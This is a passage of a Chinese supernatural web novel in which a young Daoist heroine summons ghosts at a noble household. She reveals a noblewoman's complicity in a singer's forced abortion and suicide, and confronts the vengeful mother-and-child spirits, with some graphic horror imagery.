殷玉珠狠狠咬牙,一双眼睛嫉妒的要喷出火来。
“没什么,都是玩笑话,小孩子不要听。
你们热闹够了没有,热闹够了,咱们就开席!”
老夫人疼爱的摩挲着孙子的手,又和蔼的冲殷琉璃招手,
“琉璃丫头,别听他们耍笑,你来老身这儿来。”
老人家三番五次明摆着护她,殷琉璃心里再次涌上一股暖流。
就冲这份心意,这位慈眉善目的老夫人她打算帮一把。
“多谢老夫人,不过琉璃还是有句话要说。”
殷琉璃转身站在老夫人面前,仔细打量了一番。
她见到老夫人第一眼就瞧出了些问题。
第49章 阴阳伞
老夫人脸上蒙着一层阴气,为阴物侵扰所致。
当时她不好直说。
殷琉璃暗暗在掌中画了一道“招魂符”,手指一翻,一道若有若无的身影缓缓出现在眼前。
是个两岁左右的小女孩儿模样,一身穿着富贵奢华,只是浑身裹满污泥,口鼻被堵的死死的。
殷琉璃抬手飞出一张小小的黑色纸片,纸片在半空中无火自燃,转眼化作一只黑色的油纸伞,缓缓落在小女孩儿的头上。
“撑着,能替你遮挡金乌炙烤和人间盛阳之气。”
阴魂都在夜晚游走,无法在太阳下久待,会被强盛的太阳光照的魂飞魄散。
白天的时候它们一般都躲进坟墓、土地,或者化作一缕阴气攀附在人的双肩,靠吸取人肩头上两盏阳火维持。
这把黑伞,就是专门为阴魂遮挡阳气的阴阳伞。
殷琉璃用心念与小女孩儿道,
“告诉我你是谁,为什么跟着老夫人?你有什么事情需要帮忙?”
小女孩撑起黑伞,瞪着一双圆圆的眼睛可怜巴巴的望着她,张了张嘴,哇的一下无声的哭了出来。
殷琉璃指尖闪过一道符光,将它口鼻中塞满的污泥清除干净,
“说吧。”
……
她与小女孩儿的阴魂对话,不过是意念中片刻之间。
问清楚缘由,殷琉璃脸色不觉严肃,蹙眉问老夫人,
“琉璃冒昧问老夫人一句,您年轻时可曾失过孩子?”
气氛突然陷入死寂。
所有人都屏住了呼吸,看殷琉璃怎么把国公老夫人得罪死!
殷玉珠脸上更是闪过一抹得意。
老夫人脸色一僵,勃然欲怒。
可骨子里的教养让她生生压下怒火,冷冷看着殷琉璃。
她刚才可是护着这孩子的,这孩子为什么偏要选她心里最不能触碰的地方戳!
薛氏抬手指着殷琉璃,怒声呵斥,
“住口!你胡说什么!”
老夫人年轻时的确生过一个女儿,长得跟粉团儿一般可爱,排行第三。
因前头两个哥哥,被一家子宠的跟什么似的。
谁知一两岁的时候被一场风寒夺走了性命。
宝贝女儿一死,就跟挖了老夫人的心似的,好多年都没缓过劲儿来。
这事儿许多人都知道,只是在老夫人心里是不能触及的禁地,到如今都听不得旁人提一句。
殷琉璃云淡风轻的说,
“我问的是老夫人,老夫人不愿作答,那便算了。
做母亲的失了孩子,自然是无法提及的心痛。敢问老夫人近期有无梦见她,夜不安寝。
没猜错的话,直到日出东方时老夫人才能入睡,补养精神吧?
天长日久,耗损的是老夫人的寿数……”
“丫头,你、你如何知道?”
话音未落,老夫人满脸震惊,一把抓住了殷琉璃的手,颤声道,
“我、我的确失去过一个孩儿,前阵子忽然日日都能梦见她、梦见她浑身乱糟糟的看不清楚,一副泫然欲泣的模样。
我怎么问都不说话,只会站在我面前只是哭……
琉璃丫头,她、她为什么只是哭?是埋怨我这个做娘的当年无能为力吗?
笙儿,娘也不想啊……”
说着,老夫人已经满脸泪水,声音颤抖的不成样子。
“老夫人,她入梦不是来质问母亲,而是跟您求救的。”
殷琉璃轻轻叹了口气,握住老夫人的手说,“只是她被淤泥塞住了口鼻,有话不能言,您也不明白她的意思。”
老夫人心头一颤,
“你说什么?她、她怎么会被淤泥塞住口鼻?”
“殷琉璃,你胡说什么!你到底会不会术数?”
薛氏嗤的一声,鄙夷道,“我们家三小姐是感染风寒而死,又不是坠入湖中淹死……”
殷琉璃瞥了她一眼,不紧不慢的说,
“三小姐的墓下有一道暗泉,暗泉改道,淹了她的墓室。
她尸身被淤泥覆盖,又日日经受刺骨的水淹之苦,如坠地狱。”
“笑话,你这就胡说了,我国公府的墓地依山而建,底下怎么会有暗河?”
薛氏嫌弃的冷笑。
“大姐姐,国公老夫人身份尊贵无比,你可千万不要乱说!”
殷玉珠趁机讥讽道,“若是得罪了老夫人,老夫人降罪你可是
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要吃不了兜着走的!”
“都给我住口!”
老夫人脸色一厉,指着殷玉珠怒斥道,“退下!我与琉璃丫头说话,什么时候轮到你这个外人插嘴了?
嫣然,这就是你选的儿媳妇儿?她还有没有点儿规矩了!”
“母亲不要动怒。”
薛氏恨恨的给殷玉珠使了个眼色,“还不快退下!”
殷玉珠咬了咬牙,再不敢多一句嘴。
老夫人拉着殷琉璃的手不住的哭,
“琉璃丫头,你、你真知道笙儿?你告诉我要如何才能救她!
你,你帮我告诉笙儿,这些年娘从来没忘记过她,娘的心一直都记挂着我的笙儿……”
殷琉璃轻声道,
“老夫人,笙儿小姐就站在我的身边,她有很多话要跟您说。
如果……如果您愿意的话,我让您见见她。”
老夫人浑身一颤。
……
“母亲!”
房中,笙儿举着一把黑伞缓缓在老夫人面前出现。
“笙儿!你、你真是我的笙儿啊……娘真的好想你!”
老夫人激动的差点晕死过去,扑上前要抱住她,却抱住了个空。
笙儿望着她泣不成声,
“母亲救我!救救笙儿!我的墓室被山中暗河淹没,泥沙堵了我的口鼻,日日忍受冰冷刺骨的泉水侵袭,苦不堪言!”
老夫人颤抖的几乎说不出话来。
“老夫人,阴阳相隔,她不能在人间多做停留。”
殷琉璃搀扶住她,轻声道,“你们母女今生今世的缘分尽了,你能为她做的就是修缮坟墓,好让她早入轮回。”
……
良久,殷琉璃扶着老夫人从房中出来。
尽管泪痕满面,可老夫人脸色格外舒展,甚至带着一抹笑容,精神奕奕。
众人忙将老夫人迎回廊亭之中,脸上忍不住好奇。
殷琉璃把老夫人请回房中,说是让她见**二十多年的女儿,这怎么可能?
殷玉珠如坐针毡,懊恼的恨不得给自己一巴掌!
她本想让殷琉璃出丑,把她当猴儿一样在众人面前耍笑,没想到却让她在老夫人面前大大的露脸!
第50章 母子凶
“琉璃丫头替老身解决了多年来的心病,从今日起,她就是老身的干孙女!”
嬷嬷服侍着老夫人沐了手脸,端坐在贵妃榻上缓缓扫视着众人,
“以后琉璃丫头的事儿就是老身的事儿,以后谁有些不该说的话说了,惹她不高兴,就别怪老身不给她脸面!”
缓和有力的话语带着十足的警告气息。
“是!”
贵妇贵女们应了一声,看向殷琉璃的眼睛里满是羡慕,
“恭喜琉璃小姐!”
“能得国公老夫人厚爱,琉璃小姐真是天大的福气呀!”
……
国公老夫人是当今圣上的胞姐,当年也是因她和国公爷的助力,圣上才能成功夺嫡。
能让国公老夫人认了干孙女,岂不是半只脚踏进了皇室的大门?
“祖母请喝茶。”
殷琉璃一脸蒙的被嬷嬷引导着,跪下给老夫人敬了一杯茶。
她还不知道怎么回事,就单方面成了老夫人的孙女了。
也罢,她蛮喜欢这个老奶奶的。
“琉璃……”
甄氏激动的眼角泛红,心里说不出的高兴舒展。
“琉璃,没想到你竟做了我妹妹!”
方政允兴奋的冲殷琉璃眨眼睛,拍了拍胸口大方的说,“以后有什么事儿就跟你允哥说,允哥替你办!”
刚才亲眼见证殷琉璃用法术,将他过世二十年的小姑的阴魂召了出来,他心里说不出的震撼。
甚至没看清她如何施法,只见那只纤细的手指一翻……
这姑娘长得花容月貌,一副洒脱不羁的性子,还会这么厉害的道术,简直戳在了他的心坎儿上!
可惜,她很快就要做他的表嫂了。
“……”
殷琉璃给他翻了个白眼儿,“我比你大两个月。”
“刺啦……”
殷玉珠手中响起真丝手绢碎裂的微声。
她手指绞出了血,妒意、怨愤和怒火在胸口中横冲直撞,若不是紧紧咬着牙怕会喷出一口老血!
薛氏的脸也有些不好看,勉强假笑道,
“母亲心情大好了,儿媳也替母亲高兴,不若这就叫人传膳,咱们吃着喝着热热闹闹的说话?”
“等等。”
殷琉璃扭头看向薛氏,冷笑勾唇,
“敢问薛夫人近日可有心悸眩晕之症?”
薛氏被那双眼睛盯的心里一慌,不由自主的抬手扶头,迟疑的问,
“没、没有……怎么了?”
何止心悸眩晕,她这阵子还时常眼前发黑,总感觉有个虚晃的白色影子在眼前飘过。
可大庭广众之下她怎么敢说?
“就算没有。”
殷琉璃步步上前逼近,眸子里涌上一抹森然的笑意,
“你偶尔还能看见一道白影从眼前闪过,后背脊颈总觉有一股寒气上涌,如蚁附膻,我说的对吗?”
薛氏的心口咚咚咚的跳了起来,硬着头皮道,
“你到底想说什么!”
殷琉璃在她面前站定,一双冷峻的眸子凝视着她,气势咄咄逼人,
“你眼下乌青,脂粉都快着不住了,气虚色浮,乃是阳气亏损之相。
眼睛里有条若隐若现的白练,此为厉鬼缠身的症状……
人家来找你索命了,你还问我如何?”
刚才你耍笑我和我娘的时候有多得意,一会儿你就会有多恐惧。
话音一落,一众贵妇贵女无不大惊失色。
一种毛骨悚然的感觉电流般从后脖子传遍全身。
“你、你胡说什么!”
薛氏不由自主的打了个寒噤,恼怒的呵斥,“殷琉璃,你好大的胆子,胆敢诬陷本夫人!”
殷琉璃冷笑一声,
“是不是诬陷,你自己心里没点儿数?不妨告诉你,索你命的可是一对极其凶狠的母子凶。”
母子?难道是……
薛氏心中炸了个雷,脸色刷一下就白了。,
气氛变得一派肃杀。
众人你看我我看你,心中悚然,如芒在背。
“各位,我府里出了些事情,今日宴请取消,失礼之处还请原谅。”
老夫人如同定海神针一般的声音响起,“来人,替老身将众位贵客送出去。”
众人赶紧起身告辞,没瓜吃不要紧,招惹上索命的凶煞才要命呀!
清走了人,老夫人这才缓缓道,
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“琉璃丫头,不管嫣然做错了什么,她始终是我国公府的主母夫人。
丫头看在祖母的一分薄面上,救救她吧。”
殷琉璃点了点头,
“祖母,薛夫人并非主谋,也没有亲手染血,尚还有可救之机。
若不然,她这因果我可不沾!”
说的这么严重,薛氏刷白的脸顿时又绿了……
一个踉跄差点跌倒在地。
“殷琉璃,你够了!”
殷玉珠见状赶紧上前搀扶,一双怨毒的眼睛对她怒目而视,“你别以为仗着老夫人撑腰,就能胡言乱语!
薛夫人一向心地仁慈,怎会有厉鬼索命?简直是无稽之谈!”
殷琉璃瞥了她一眼,“那她出事你可能负责?”
殷玉珠瞪了瞪眼睛,哑口无言。
殷琉璃冷冷道,
“母子凶也叫做子母双煞,乃是孕中母亲胎儿双双惨遭横死,胎儿因无法出生尽享阳寿而怨念冲天,与母体双双化为阴煞。
在所有化煞中,子母双煞乃是最凶残的一种。”
“琉璃,这是怎么回事?”
听到这儿,连方政允脸色都变了,一个箭步窜到殷琉璃面前,“你、你可别吓唬我,我母亲怎么了?”
殷琉璃淡淡挑眉,“那你就要问她自己了。”
“不、不……你、你休要再胡说八道!”
薛氏满脸惊恐,控制不住的颤抖,可还在嘴硬,“什么子母双煞,我根本不知道你在说什么!”
那件事若被扒出来,她这个高高在上的国公夫人名声就完了!
殷琉璃哼了一声,
“那你嘴硬吧!提醒一下,三日后便是凶日,阴盛阳衰,子时为阴气最盛之时,人家母子便要拿了你的命去…”
“咕咚……”
薛氏两腿一软跌倒在地上。
想起那人死前的惨状,她吓得连说话都在哆嗦,
“我不想这样的!!我……我不知道那个**会一头吊死……”
呼……
**两个字一出,平地旋起一阵阴风,在薛氏脚下疯狂打转。
一股阴冷的气息吹在薛氏后脖子上,毛骨悚然的感觉蚂蚁般爬遍全身。
第51章 你做了什么孽!
薛氏禁不住打了个冷颤,后背涌上阵阵寒意。
“住口!”
殷琉璃喝止,凌厉的眼神盯住她的身后。
一个面目狰狞的女鬼突然现身。
一袭肃杀白衣裙摆下沾满鲜血,腹部微鼓,凶猛的黑色煞气蒸汽一般隆重全身。
她脖子上紧紧勒着一道沾满鲜血的白绫,血红的舌头从口中垂下,滴滴答答的淌血,用凶狠的白色瞳子凝视着薛氏。
殷琉璃皱了皱眉。
自缢而亡的阴魂怨气极大,更何况她身边跟着一个浑身青紫的小男孩儿,不足一岁模样,光溜溜的身子上满是血污。
一颗硕大的脑袋上爬满渔网般黑色血丝,目露凶煞,两只黑色的瞳子寒气森森。
虽是只鬼婴,可散发出的戾气如火焰般在周身环绕,竟比母体还盛!
祖师爷的典籍中对子母双煞有着详尽的记载:母子同凶,追魂夺命。
薛氏还在哭嚎。
“我要你命……”
被**两个字刺激的女鬼,突然凄厉尖叫,抬手将脖子上带血的白绫飞出,闪电般缠上了薛氏的脖子……
“咯咯咯……”
薛氏只觉得像是被人掐住了喉咙,一双眼睛几乎瞪出眼眶,双手拼命抓挠脖子,却怎么也抓不到东西。
“嗷……”
鬼影张开满是利齿的嘴,扑上薛氏的肩头就要撕咬。
“放肆!”
殷琉璃轻喝了一声,抬手飞出一道灵光。
母子俩被灵光打的浑身一颤,转瞬即逝。
“咕咚”
薛氏这才觉得脖子一轻,踉跄了几步一跤跌倒在地上,捂着脖子剧烈的咳嗽,
“我的脖子……这、这是怎么的?”
“母亲!”
方政允惊叫一声,赶紧搀扶住她,赫然发现她的脖子上出现一道深深的勒痕。
“怎么会这样!”
方政允大惊失色,扭头看向殷琉璃急的声调都变了,“琉璃,刚才是不是你说的母子凶找来了?”
殷琉璃眸色幽幽,
“让你母亲积点儿口德吧,人都**,她还张口闭口**,人家不找她找谁?
厉鬼化煞本就凶险,母子凶煞气更是极重,已经泯灭了所有的人性,眼中只剩下寻仇索命!”
方政允禁不住打了个哆嗦,“那、那该怎么办?”
殷琉璃冷冷道,“怎么办,先要问问你母亲做过什么!”
“嫣然,这到底是怎么回事!”
老夫人慈祥的脸上涌上一抹怒意,声线俱厉道,
“你做了什么孽,惹来这么大的祸端,还不快说!”
薛氏眼中闪过一抹惊恐,跪在老夫人的脚下颤声说,
“母亲,我错了,我当时猪油蒙了心……”
……
月前,薛氏的侄子薛越忽然从书院跑来找她。
“姑母救我!”
薛越一进门就跪下,抱着她的腿就哭,“姑母若不救我,我一定会被父亲打死的!”
薛氏吓了一跳,忙问,
“你闯了什么祸事吓成这样?快起来说话。”
薛越抹着眼泪爬起来,抽泣着说道,
“我、我跟妙音坊一个歌姬……有了肌肤之亲,前日她告诉我她有了孩子!
她一心想让我为她赎身,留在身边侍奉,可我们家……我不敢答应,只想着筹钱将她赎出来送走。
谁知她竟威胁我要闹到书院去,姑母,这事儿要闹到书院,我就完了!
我也不敢告诉父亲母亲,只好来求姑母救我!”
“你还在书院进学呢,怎能弄出这种不堪之事?”
薛氏狠狠戳了他脑门一指头,恨铁不成钢的说,
“我们薛氏出身书香世家,百年来奉的是修身明德、德行至上之礼,别说书院,就是让你父亲知道了,看不把你的腿打断!
明德书院是皇室书院,更是规法严明,凡有污德亏行者直接削籍除名,驱逐出院墙,以后连科考都不要去想,你这辈子就完了!”
薛越怎会不知,满脸哀求的说,
“姑母,越儿知道错了,求姑母救救我吧!”
薛氏看着他,恨的牙根都痒痒,
“我能怎么帮你,难不成还把那歌姬杀了?”
薛越垂头绞着手指,抽泣着说,
“侄儿也不知会弄成这样,姑母好歹想想办法,帮我把她送的远远的
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吧……
还有,她、她肚子里的孩子也不能要。”
薛氏狠狠咬牙。
她这个侄子是薛家嫡长孙,也是众多子侄中最聪慧,最前途无量的一个。
平日里她最疼的也是这个孩子。
姑母中,带着一个母字!
身为半个母亲,她怎能眼睁睁看着孩子前途尽毁,沦为人人嘲笑的世家浪荡子弟。
“我也觉得那孩子不能要!人一定要送走,走的远远的才行!”
薛氏思虑片刻,恨恨的道,“越儿,这事你别管了,姑母替你去想办法。”
她暗暗叫人抓了一副避子药,又带上一千两银票,晚上寻了个机会去薛越给那个歌姬租住的地方。
谁知她去晚了。
歌姬的事情已经被薛氏的弟妇发现,亲自带了几个嬷嬷来将她按住,强行灌下了避子汤。
不消片刻,歌姬下身血流不止,她正穿着一身家常的素色衣裳,双腿间流的血将下身染成了一片血海……
弟妇端坐在椅子上,看着在地上痛苦扭曲歌姬冷笑不止。
薛氏虽觉得有些不忍,可她自己也是带着一副避子药来的。
为了侄儿的大好前途,她们也只能让歌姬这种身份卑贱的人受苦。
豪门大户官宦人家之中,与低贱的侍婢或歌姬暗中私通这种事情多了去了。
去子留母还算好的,有些狠的甚至寻个由头将人打死,不过是费上一二百两银子打发家眷,过后就跟没有事情发生一般。
歌姬捂着肚子在地上翻滚呻吟,看到她来,便用带血的手撑地爬向她,痛苦的脸上满是哀求,
“夫人……救、救我……我不想没了孩子,我不能没有这个孩子……”
薛氏踢开她的手,硬着心肠斥道,
“我帮不了你。孩子没了你也少了个负累,赎身以后寻个好人家……只万不要再想着打越儿的主意!
否则连你自己的命都保不住!”
“不!不!我不能失去这个孩子!”
歌姬浑身一颤,爬上前用满是鲜血的手抱住她的脚踝,痛苦的脸上布满绝望,
“夫人!夫人你听我说……”
第52章 灵官**阵
“我自十二岁入贱籍那日,坊主就给我吃下**药。
谁知我和公子爷同床共枕后竟意外有了身孕……
这是老天爷赐给我的孩子!失去它,我恐怕这辈子再没有做母亲的机会了!”
歌姬说完,忽然痛苦的翻滚哀嚎,一股如注的血水喷涌而出,一只成型的胎儿的头随着血水掉了出来。
是个四五月大小的孩子,已成人形,那个小小的脑袋沾满鲜血,头上密布着蜘蛛网般吓人的黑色血管!
那胎儿脸朝天,成型的五官拧在一起,一双模糊的瞳子愤然睁着,双唇以怪异的角度大大张开。
它五指紧紧攥着,仿佛感受到极大的痛苦,狰狞的面容令人触目惊心!
薛氏心头狠狠一颤,不由扭开了头。
“**!这就是你勾引我儿子的下场,没让你死,已经是对你格外开恩了!”
弟妇亲眼看到孩子掉出来,这才起身,一身华服脸色却异常寒冷迫人,“你休养一晚,明日会有人送你去关外,自寻生路去吧。”
薛氏松了口气,暗暗将银票丢在地上,跟弟妇一起出去。
谁知那个歌姬当晚就用一条白绫吊**。
……
“怪不得怨气这么大!”
听完,殷琉璃看向薛氏的眸中闪过一抹凛冽,冷声道,
“你们只是以为她没了孩子,断了她觊觎你们家的念头,殊不知你们断的是她活下去的希望!
你弟妇将人命视若草芥,你见死不救,你们这等人根本不配我出手,就算那鬼煞受不了,以后也会有天收!”
薛氏一屁股瘫坐在地上,哆嗦的不成样子,
“我、我没有亲手害她……琉璃,救救我!求你救救我……”
“琉璃丫头,能不能给祖母一分薄面?”
老夫人颤巍巍的扶着嬷嬷起身,走到殷琉璃的面前,慈祥的脸上带着一抹哀求,
“这是她的罪孽,自作孽不可活,祖母知道!
可嫣然到底是我的儿媳妇,是允儿的母亲,她虽心怀恶念,可到底没有动手,还送了银子给那个可怜的孩子……”
说着,老夫人竟然缓缓跪了下来。
“老夫人……”
殷琉璃立刻往旁边撤了一步躲开大礼,皱眉扶她道,“祖母,琉璃受不起。”
老夫人却推开她的手,流泪道,
“这些年她虽与我不能交心,可早晚进安,替我儿床前孝敬,服侍我殷勤周到,叫我说不出一个不好来。
掌管国公府这些年,她恪尽职守,虽说行事有些霸道骄纵,可也将我国公府上下搭理的井然有序,就算没有功劳也有苦劳。
琉璃丫头,就算祖母求你,救救嫣然吧!”
“母亲……”
瘫坐在地上的薛氏,忽然怔怔的看了老夫人一眼,哇的一声大哭起来,“是儿媳不孝,儿媳连累母亲了!”
“噗通……”
方政允也跪在了殷琉璃的脚下,红着眼框说,“琉璃妹妹,求你救救我母亲!”
“你又添乱什么,赶紧帮我扶老夫人起来!”
殷琉璃有些头大,沉着眉头说,“薛夫人非主谋大恶,倒也不是没有活命的机缘,不然我也不会把这件事说出来。
关键就在她丢给歌姬的那张银票上,若非心底还剩一丝的怜悯,也就扭头走了。”
“琉璃,你是说薛夫人有救?”
听的惊心动魄的甄氏,揪心的抓住女儿的手道,
“娘也向求你,若是、若是能救的话,你一定要帮帮老夫人和薛夫人!”
薛氏又是一颤,愕然的抬头看向她,
“甄、甄夫人,你肯为我说话?”
她刚才讥讽嘲笑甄氏无所不用其极,害得人家在一众贵妇中抬不起头来,谁承想到关键时刻,人家竟然帮了自己!
甄氏苦苦一笑,“都是女人家,谁都有谁的难……”
薛氏的眼泪噗噜噜掉了下来。
“娘,救不救她不是我的因果,而是她自己的因果。”
殷琉璃缓缓弯下腰,居高临下的望着惊恐万状的薛氏,
“薛夫人,你要感谢你心里尚存一丝良善,给自己留了下了一丝活命的机缘。
还有祖母,若非她福德深厚,也庇佑不了你这条命!”
薛夫人惶恐的点头,
“我知道…
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…我、我以后再不敢心怀恶念,再不敢了!”
殷琉璃皱眉道,
“给我寻个僻静的屋子,薛夫人与我一起,旁人一概不准靠近!”
……
“噌……”
指尖一弹,殷琉璃将掌心中的“灵官**阵”符化作一道灵光。
灵光乍现,**灵符化作一道看不见的结界,将惊恐万状的薛氏罩了进去。
“你好好在这儿待着,一会儿不管发生什么都不要走出一步。”
殷琉璃冷冷的吩咐了一声,又道,
“一会儿母子双煞前来索命,你该磕头磕头,该赔罪赔罪!
告诉她母子二人你会为他们净素尸身,重塑坟冢,以为赎罪。”
薛氏慌不迭的点头,
“是!是!琉璃姑娘,你要我做什么我都愿意!”
殷琉璃皱眉道,
“他们要的是你,又不是我!你只管一心赎罪就行了。”
“对了!”
薛氏忽然想起什么,忙慌张的问,“那我、我侄儿和弟妇……他们会不会出事?”
“必死无疑。”
殷琉璃冷冽的眸子里闪过一抹寒芒,不悦道,“管好你自己吧。”
薛氏踉跄了一下,一屁股跌坐在地上。
“嘎吱……”
一阵凛冽的阴风吹起,平地拔起两朵怒风,门窗被吹的嘎吱作响。
原本有些沉闷的屋子突然变成了一座冰窖般,冷的人从骨子里发寒。
“来了。”
殷琉璃轻轻喝了一声,将双手背负在身后,一双眸子冷冷的看着虚空。
“哇呀呀……”
一直等不到吩咐的哇呀呀按耐不住从她耳朵里钻了出来,现身为一身金甲的威风大将军原形,将手中的长刀往地上一戳,粗声粗气道,
“她有灵官**真,我替主人**!”
殷琉璃,“……”
添什么乱?
太小看你家主人的道术了吧!
“还我命来……”
“还我命来……”
凄厉尖锐的女鬼声音和稚嫩阴森的鬼婴声传入耳朵,一大一小两只周身杀气腾腾的阴煞在殷琉璃面前突然出现……
第53章 真理永远在大炮射程范围之内
女鬼脖子上染血的白绫如同一支利箭,直奔殷琉璃面门。
“嘎嘎嘎……”
鬼婴一张青黑色的面庞,口中满是利齿,蜘蛛网般遍布头颅的黑煞已然布满全身,伸出锋利的鬼爪向殷琉璃的胸口戳去。
活人若是被这双鬼爪抓上一把,不能说魂飞魄散,起码也得气绝身亡。
“啊……”
被殷琉璃开了天眼的薛氏,发出一声惊恐的尖叫,当场晕死过去。
也好,总比吓得抱头鼠窜安全。
殷琉璃瞥了她一眼,纤细的手指一翻,灵光从指缝间闪过,身前瞬间多了一道无形的护身屏障。
“砰砰!”
白绫硬生生撞在上面,火光四溅。
“嗷……”
鬼婴一声惨叫,被护身屏撞飞了出去。
殷琉璃反手又是一道“摄魂符”,修长的手穿过护身屏障扯住了女鬼脖子上的白绫。
“哇呀呀……”
不待殷琉璃出声,哇呀呀也拎起长刀向鬼婴冲了过去,双方战成一团。
“啊!”
女鬼仿佛被掐住了七寸,浑身筛糠般的剧烈颤抖,一双鬼爪拼命撕扯抓挠却怎么也挣脱不出殷琉璃的束缚。
“我杀了你!杀!杀……”
她凄厉惨叫,狰狞面目蒙上一片青黑,一双惨白的眸子瞬间沁满了血色,陷入一片疯狂。
“啪”
殷琉璃指尖灵光闪过,抬手就是一个耳光。
惨叫声戛然而止。
女鬼血红色狰狞的眸子瞬间清澈,眼底涌上潮水般汹涌的恐惧,
“是她害死我,你、你为什么帮她!你们道家之人不是要替天行道吗!”
殷琉璃蹙眉,
“她罪不至死……”
“我不管!害死我的人,全部都要死!全部都要死!”
两道血水从女鬼眸中涌出,在那张化煞的鬼脸上冲出两条刺目的血河。
“啪”
指尖灵光闪过,又是一记清脆的耳光。
殷琉璃不耐的喝了一声,“老实点儿,听我说完!”
女鬼在周身蒸腾的煞气仿佛逆光下的烟尘被搅动,狠狠打了一个寒噤,惊恐万状的望着她。
“你可还记得死前,薛氏为你丢下一张千两银票?”
殷琉璃冷冷道,“好好想想!”
女鬼血红的眸子里闪过一抹迷茫,无状道,
“她是丢给我一张银票,可我要银子做什么?我唯一的孩子没了……我还要银子做什么!
我只要他们死!害我孩子的每一个人都要死!”
“害你的人是薛越的母亲,并非薛氏。”
殷琉璃打断她梦呓般的自语,凛声说,
“她双手未沾你的血,你的命就不应该由她来赔。”
“我求她救我!我趴在她的脚下苦苦求她救我……”
女鬼绝望的哭泣,目中涌出的血水越发显得她狰狞可怖,她突然抬手一指,尖声嘶喊,
“她却视若无睹,跟着他们一起骂我**!我恨!我恨!我不是**,我不是!”
“所以你来找她索命,也是她的报应,我没有直接将你们母子打的魂飞魄散。”
殷琉璃淡淡挑眉,“她救不救你自有她的因果,可你不能害她性命。”
女鬼青黑的脸上已然迷茫无状,缓缓摇头道,
“我要她死……我要他们全都死……”
“砰”
殷琉璃脸上闪过一抹不耐,抬脚将她踹飞了出去,
“好好说话你不听,非要我不客气吗?”
女鬼重重的跌在地上,周身阴森的煞气又被震的消散了许多,瘫在地上几次挣扎都没能爬起来。
“娘!”
正在和哇呀呀酣战的鬼婴怒目圆睁,发出一声凄厉嘶嚎,周身煞气突然暴涨将哇呀呀打退。
它飞身向女鬼扑了过去,青黑色的小儿身子挡在她的身前,用刀子划过玻璃般尖锐的声音冲殷琉璃怒吼,
“不准打我娘!我杀了你!”
殷琉璃抱起双臂,幽幽的叹息了一声,
“这么小就喊打喊杀的,你是不是也想挨打?”
“小道士,我不服!你为什么帮这些畜生不让我母子报仇雪恨,不杀了他们,我们母子就是灰飞烟灭也断不会罢手!”
女鬼挣扎着飘了起来,抬手将鬼婴搂在怀中,望着她泫然欲泣。
殷琉璃心里嘟囔,化煞厉鬼心中的仇恨已经将最后一丝人性湮灭,果然不好沟通。
“我刚才的话你听清楚没
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有?我是说薛氏!薛氏!”
她幽幽的叹息了一声,脸色平静的说,
“她曾经给过你一张银票,让你离开后好做生活,这是她对你心存的一丝怜悯。
你们母子凶煞回来寻仇,已经吸了她不少阳气了,耗损几年寿元,她得此报应还嫌不够?
我劝你们有冤报冤有仇报仇,找真正害死你的人去。”
女鬼微微一颤,惊讶道,
“小道士,你是说我母子去索他们的命,你却不管?”
殷琉璃随意摆了摆手,“他们与我有屁关系?自己造下的孽自己担着去。”
女鬼和怀中鬼应对视一眼,脸上青黑的煞气缓缓散了许多,
“既如此,我母子便去找他们索命!”
“娘!杀了那些害死我们的人!”
“去吧。”
殷琉璃摆了摆手。
果然,真理永远在大炮的射程范围之内,知道打不过她,这对母子凶就开始跟她讲道理了。
“啊……”
话音未落,薛氏幽幽醒转过来,抬头就看见飘在半空中的鬼母子,吓得两眼一翻又要晕死。
她忽然想起殷琉璃嘱咐过的事情,强撑着跪在地上咚咚磕头,
“我知道错了,我再也不敢了……可我不是诚心要害你的,姑娘!
我当时、我当时只是想把你从越儿身边弄走……
我给你们收拾、收拾尸骨,重塑坟冢,给你烧高香,供奉三牲六礼……
求求你们母子绕过我吧!”
殷琉璃淡淡的说,
“这是薛氏对你们母子的补偿,你有什么要求可以再提。
如此你胸中对她一口怨气,可以散了吧?”
良久,女鬼凶狠的目光逐渐缓和了些,点点头,眼中的血泪瞬间变回透明的泪珠。
她抱着怀中鬼婴,浮在空中缓缓向殷琉璃行礼,
“我没有要求,从此后我母子与她……再无瓜葛。
多谢道长,我们母子去了。”
殷琉璃回了个拱手礼,
“去吧,慢走不送。”
“嘎吱……”
母子刚要转身隐匿,屋门忽然被一只手推开。
“不要!”
殷琉璃惊叫一声,已经来不及阻拦。
第54章 阴煞冲身
一缕阳光从门缝中倾泻而下,突然照射在母子身上。
“啊!”
女鬼和鬼婴俱被阳光灼的凄厉惨叫,原本轻朗些的面容狰狞痛苦,瞬间又化成黑煞之相。
阴煞借以周身浓重的煞气挡住阳光的灼烧,可在白日短暂出现。
可刚才母子俩因解开心中一结,煞气已然收敛了许多,突然被阳光照射会感到烈火灼烧般的痛苦。
殷琉璃无语的拍了下额头。
哪个不要命的,跑来作死!
“谁在里头?”
一个岁数不小的粗使婆子探头往里面张望,皱巴巴的脸上满是抱怨,
“丁零当啷的作甚?砸坏了屋里东西,小心管事儿的赏你一顿棍子去!”
“接着!”
殷琉璃喝了一声,抬手飞出一道灵光,将一把阴阳伞向母子俩扔了过去。
可惜已经晚了。
“好痛!好痛啊娘……”
鬼婴痛苦的在脸上抓挠,突然一转身钻进了女鬼的肚子。
一瞬间,满脸痛苦的女鬼怒目圆睁,周身煞气火焰般熊熊燃烧了起来。
鬼婴在她腹中若隐若现,张牙舞爪戾气丛生。
受惊之下母子合体,双煞合一,这对母子凶的煞气以指数级暴涨。
“杀!”
女鬼腾空而起,勒在脖子上的白绫如一条凶狠的毒蛇,咬向老婆子的面门。
殷琉璃一声冷喝,“哇呀呀,拦住她!”
“当!”
哇呀呀的长刀及时将白绫挡住,金戈之声震的人耳根发麻。
“杀!杀!”
女鬼面目狰狞,伸出锋利的鬼爪飞身向哇呀呀扑了过来。
老婆子看不见屋内的阴物,只瞧见殷琉璃站在屋子里,
“你是谁家的小姐?一个人儿在这空屋子里作甚,是不是走迷了路了?”
“走开!”
殷琉璃抬手极快的在掌中画出一道“天师辟邪符”。
老婆子看她衣着打扮十分贵重,一心想着能讨些赏钱,自顾自的走了进来讨好的笑道,
“老奴是这园子里的使唤婆子,若是小姐走米了,老婆子带小姐出去。”
她正躲在这院子的旮旯里偷懒,睡的昏昏的听见屋里有动静,就过来瞧。
她哪儿知道屋里的险恶!
殷琉璃气的咬牙,想把这老婆子一脚踹出去!
电光火石间,和哇呀呀斗在一起的女鬼突然化作一道黑气,钻进了老婆子的眉心。
因这老婆子出现,殷琉璃手指中飞出的灵光晚了一瞬。
“咯咯咯……”
老婆子狠狠一抖。
突然间,那张满是皱纹的脸蒙上了一层诡异的黑气,眼睛一翻化作瘆人的全白,喉咙里发出阴森的咯咯声,
